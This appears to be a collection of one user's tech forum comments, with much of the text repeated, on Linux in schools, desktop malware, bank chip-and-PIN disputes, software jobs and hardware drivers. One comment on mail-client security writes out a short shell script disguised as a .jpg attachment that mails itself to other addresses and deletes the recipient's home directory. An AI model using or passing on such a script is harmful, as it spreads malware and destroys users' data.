I was kind of put off citroen when my late father experienced total failure in the master brake cylinder in a Citroen ZX. With me and my brother in it.
AIUI, at the time, almost every other car manufacturer had designed out single points of failure in the braking system.
Some people say that teaching Linux in schools is a bad thing as the commerical world is all Microsoft on the desktop.
The commercial world is not ANYTHING on the desktop, and it's something schools need to understand. The commercial world is all about APPLICATIONS on the desktop. With the exception of those who go into an IT role, nobody is expected to troubleshoot their own PC. They've got a bunch of applications - which will probably include Office, though by the time the school pupil has got through college, heaven only knows which version - and some others which depend on what they wind up doing. What the heck does it matter what's on the desktop as long as it's reasonably understandable and the stock answer to any problem with the PC not working is going to be "call IT"?
The specialist applications, more often than not, do not have interfaces that are consistent with Office. A lot of call centre applications, for instance, may be accessed via a terminal emulator on some text-based system, a Web-based app or some other random interface. The one thing you can be certain of is that it will bear almost no resemblance to Office whatsoever.
Teaching Office and Windows on the assumption that it's all they'll ever need means that you're essentially breeding a race of PAs, secretaries and possibly some teachers.
They actually turned it on last week, and have spent the last few days trying to figure out if it still exists. It seems to both exist and not exist at the same time.
Pros: You don't wind up with a corrupted registry and DLL hell because every app ships with its own copies of the libraries it needs.
Cons: Every app is, to all intents and purposes, statically linked. (OK, it isn't, but in terms of disk space it may as well be). Takes up more disk space.
With disk space being measured in cents/gigabyte, who cares?
And even ignoring that, there's nothing stopping me from emailing a Unix user with a file called "britney_shaved.jpg.sh" and having just three lines in it:
#!/bin/sh uuencode $0 $0 | mail <get list of mail addresses> rm -rf ${HOME}/*
The only thing required is a mail client stupid enough to try executing an attachment - and Microsoft have spent most of the last 8 years demonstrating that not only are they that stupid, it takes them about 3 or 4 major versions to realise it.
"It is a complete virtual impossibility that damage can occur," he said.
Make up your mind. It's either impossible or it's not. If it's not, do those "we do not accept any responsibility blah blah blah" signs have any legal bearing? Because I really don't want to lose my no claims discount because of your car park.
"You have a government certified ID card which we are assured cannot be counterfeited, so your little claim about identity theft must be false, all those charges must have been by you, so pay up or go to jail." A variant on this argument is being used by banks for Chip & Pin card transactions in Europe; viz. you dispute a transaction, the bank replies with "the transaction was completed with a PIN, therefore you are either lying or you were careless with your PIN. Either way we're not responsible; go away":
That's the "nice" case. The "not so nice" case is that you continue to complain until the bank finally gets fed up and reports you to the police for fraud. I've read a report of this happening at least once, but I can't find any evidence as search results get buried in instances of people being arrested for big organised crime card fraud.
I think it's often used as a way of saying "I don't agree with what you're saying, but rather than get involved in a sensible debate I'll just try and rig it so that nobody ever sees what you've got to say".
We've got some wonferful history, some magnificent castles and the like. But the weather's frequently damp and drizzly, it's absurdly expensive to travel anywhere (petrol costs about 85p/litre), most of our major towns and cities are essentially gridlocked for much of the day and don't have a public transport system to speak of. To top the lot, the present government has spent the last 9 years dreaming up scheme after scheme, each more ridiculous than the last. Most of them involve handing over vast quantities of taxpayers money to private businesses for no discernible benefit - a particularly bitter pill to swallow when almost half the money I earn goes on tax one way or another.
AFAICT it's not been said yet - perhaps most of the programmers here assume you already know, or haven't really considered it yourself.
In the real world, software development is frequently boring.
Sure, solving problems is fun. But 70-80% of the time, the things you're working on are something like:
Debugging code - either your own or someone elses. If you find this boring or monotonous, software development probably isn't for you.
Trying to make sense of other people's code. A lot of college courses don't really go into much detail in doing this, which is a shame because it's a large chunk of the job.
Writing boring boilerplate code. After all the interesting problems are solved, there's still a lot to be done in tying all the solutions together. A lot of business applications (think payroll, accounting, pensions, stock control) consist of almost entirely boilerplate code and simply aren't very sexy to write - this is why Linux is and always will be "undready for the enterprise" - at least until such time as the commercial vendors providing such applications find it's worthwhile to port their software to Linux.
I don't know if there *was* a virus on OS X, but...
AFAIK there isn't, and there probably never will be.
But there hasn't been a virus for Windows in years. Before you all start flaming me, hear me out.
The traditional "file infector" virus is more or less dead. However, there are plenty of trojans, worms and other pieces of malware which take advantage of bugs in the OS, email systems which still aren't properly protected or simple social engineering. Practically none of them take advantage of things which require admin privileges. (Hint: You don't need to be a privileged user to connect to another system on port 25, otherwise nobody would be able to send email)
I refuse to believe that such things can't exist on the Mac, or even Linux. Maybe less of an issue on Linux as the Linux market is quite fragmented, but programs can always be statically linked.
Whether or not this will eventually translate to a bunch of things affecting Mac users - time will tell.
Looks to me like it's doing it in ASCII order (which does all upper-case letters, then all lower case letters) rather than alphabetical. Nice and easy to code - you can do simple "if STRING_1 STRING_2" comparisons but next to useless for a supposedly alphabetical list.
It's not that difficult to code around, but it's the kind of thing that gets missed when you're more interested in basic "can I open a file" functionality and you don't have a QA department with half an eye on usability breathing down your neck.
Have they made "connecting to my work's L2TP/IPSec VPN" painless then? Last time I checked (which was admittedly a couple of years ago), there wasn't a distribution out there which had a nice easy tool to do that.
Except that the Optra S 1625 supported PCL (and, IIRC, Postscript). My former employer had about 300 of them in offices across the UK, all being driven by Linux.
Unless you're an old boy yourself. If memory serves, the folk running the business were paying themselves a small fortune and amassing nice big pension funds.
Who said anything about GPUs? I'm talking about motherboard chipsets - both AMD and Intel compatible.
Granted, a basic chipset driver should be fairly universal, but there's a whole heap that have been released with various bugs in them which require specific drivers to provide workarounds.
There was an article in a local newspaper interviewing Nick Park (his company's based in Bristol, UK) - he said that while he liked the flexibility CGI offered him, he didn't like working with a US team as communication was difficult and they lost too much control over the end result.
I think this is just Dreamworks trying to gloss over that by announcing that it didn't make them any money so they want out.
But not on the NVidia or SiS chipsets that windows boxes also get to use, and 99% of the time the end user neither knows nor cares that there is a difference.
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I was kind of put off citroen when my late father experienced total failure in the master brake cylinder in a Citroen ZX. With me and my brother in it.
AIUI, at the time, almost every other car manufacturer had designed out single points of failure in the braking system.
Some people say that teaching Linux in schools is a bad thing as the commerical world is all Microsoft on the desktop.
The commercial world is not ANYTHING on the desktop, and it's something schools need to understand. The commercial world is all about APPLICATIONS on the desktop. With the exception of those who go into an IT role, nobody is expected to troubleshoot their own PC. They've got a bunch of applications - which will probably include Office, though by the time the school pupil has got through college, heaven only knows which version - and some others which depend on what they wind up doing. What the heck does it matter what's on the desktop as long as it's reasonably understandable and the stock answer to any problem with the PC not working is going to be "call IT"?
The specialist applications, more often than not, do not have interfaces that are consistent with Office. A lot of call centre applications, for instance, may be accessed via a terminal emulator on some text-based system, a Web-based app or some other random interface. The one thing you can be certain of is that it will bear almost no resemblance to Office whatsoever.
Teaching Office and Windows on the assumption that it's all they'll ever need means that you're essentially breeding a race of PAs, secretaries and possibly some teachers.
They actually turned it on last week, and have spent the last few days trying to figure out if it still exists. It seems to both exist and not exist at the same time.
#1. Define "plastic". There's lots of different types, of varying toxicity when burnt.
#2. Plastic is made from refined oil.
IIRC emissions is a big problem. You're not quite sure what's going in, so minimising the amount of pollution you chuck out is not easy.
Or you buy a Mac.
Pros: You don't wind up with a corrupted registry and DLL hell because every app ships with its own copies of the libraries it needs.
Cons: Every app is, to all intents and purposes, statically linked. (OK, it isn't, but in terms of disk space it may as well be). Takes up more disk space.
With disk space being measured in cents/gigabyte, who cares?
Didn't think so - same's true in the UK. But when the USA is the topic of conversation, anything's possible.
http://www.sophos.com/virusinfo/analyses/osxleapa
And even ignoring that, there's nothing stopping me from emailing a Unix user with a file called "britney_shaved.jpg.sh" and having just three lines in it: The only thing required is a mail client stupid enough to try executing an attachment - and Microsoft have spent most of the last 8 years demonstrating that not only are they that stupid, it takes them about 3 or 4 major versions to realise it.
"Anal" - backside
"Yst" - ancient Greek word, meaning "to pull ideas from"
Then don't store the NSA key on accessible parts of the disk itself. Store it in a servo track, or on a chip on the disk controller.
They don't need to.
"We cannot provide a reference for this person" speaks quite enough.
http://www.telegraph.co.uk/money/main.jhtml?xml=/
That's the "nice" case. The "not so nice" case is that you continue to complain until the bank finally gets fed up and reports you to the police for fraud. I've read a report of this happening at least once, but I can't find any evidence as search results get buried in instances of people being arrested for big organised crime card fraud.
What's with people and the troll modding?
I think it's often used as a way of saying "I don't agree with what you're saying, but rather than get involved in a sensible debate I'll just try and rig it so that nobody ever sees what you've got to say".
I feel the same about the UK.
We've got some wonferful history, some magnificent castles and the like. But the weather's frequently damp and drizzly, it's absurdly expensive to travel anywhere (petrol costs about 85p/litre), most of our major towns and cities are essentially gridlocked for much of the day and don't have a public transport system to speak of. To top the lot, the present government has spent the last 9 years dreaming up scheme after scheme, each more ridiculous than the last. Most of them involve handing over vast quantities of taxpayers money to private businesses for no discernible benefit - a particularly bitter pill to swallow when almost half the money I earn goes on tax one way or another.
In the real world, software development is frequently boring.
Sure, solving problems is fun. But 70-80% of the time, the things you're working on are something like:
I don't know if there *was* a virus on OS X, but...
AFAIK there isn't, and there probably never will be.
But there hasn't been a virus for Windows in years. Before you all start flaming me, hear me out.
The traditional "file infector" virus is more or less dead. However, there are plenty of trojans, worms and other pieces of malware which take advantage of bugs in the OS, email systems which still aren't properly protected or simple social engineering. Practically none of them take advantage of things which require admin privileges. (Hint: You don't need to be a privileged user to connect to another system on port 25, otherwise nobody would be able to send email)
I refuse to believe that such things can't exist on the Mac, or even Linux. Maybe less of an issue on Linux as the Linux market is quite fragmented, but programs can always be statically linked.
Whether or not this will eventually translate to a bunch of things affecting Mac users - time will tell.
Nah, that won't work because case design changed from AT to ATX somewhere between the two - and PSUs were also changed.
Looks to me like it's doing it in ASCII order (which does all upper-case letters, then all lower case letters) rather than alphabetical. Nice and easy to code - you can do simple "if STRING_1 STRING_2" comparisons but next to useless for a supposedly alphabetical list.
It's not that difficult to code around, but it's the kind of thing that gets missed when you're more interested in basic "can I open a file" functionality and you don't have a QA department with half an eye on usability breathing down your neck.
Have they made "connecting to my work's L2TP/IPSec VPN" painless then? Last time I checked (which was admittedly a couple of years ago), there wasn't a distribution out there which had a nice easy tool to do that.
Or is this another of those "one last things..."
Except that the Optra S 1625 supported PCL (and, IIRC, Postscript). My former employer had about 300 of them in offices across the UK, all being driven by Linux.
Unless you're an old boy yourself. If memory serves, the folk running the business were paying themselves a small fortune and amassing nice big pension funds.
Who said anything about GPUs? I'm talking about motherboard chipsets - both AMD and Intel compatible.
Granted, a basic chipset driver should be fairly universal, but there's a whole heap that have been released with various bugs in them which require specific drivers to provide workarounds.
There was an article in a local newspaper interviewing Nick Park (his company's based in Bristol, UK) - he said that while he liked the flexibility CGI offered him, he didn't like working with a US team as communication was difficult and they lost too much control over the end result.
I think this is just Dreamworks trying to gloss over that by announcing that it didn't make them any money so they want out.
But not on the NVidia or SiS chipsets that windows boxes also get to use, and 99% of the time the end user neither knows nor cares that there is a difference.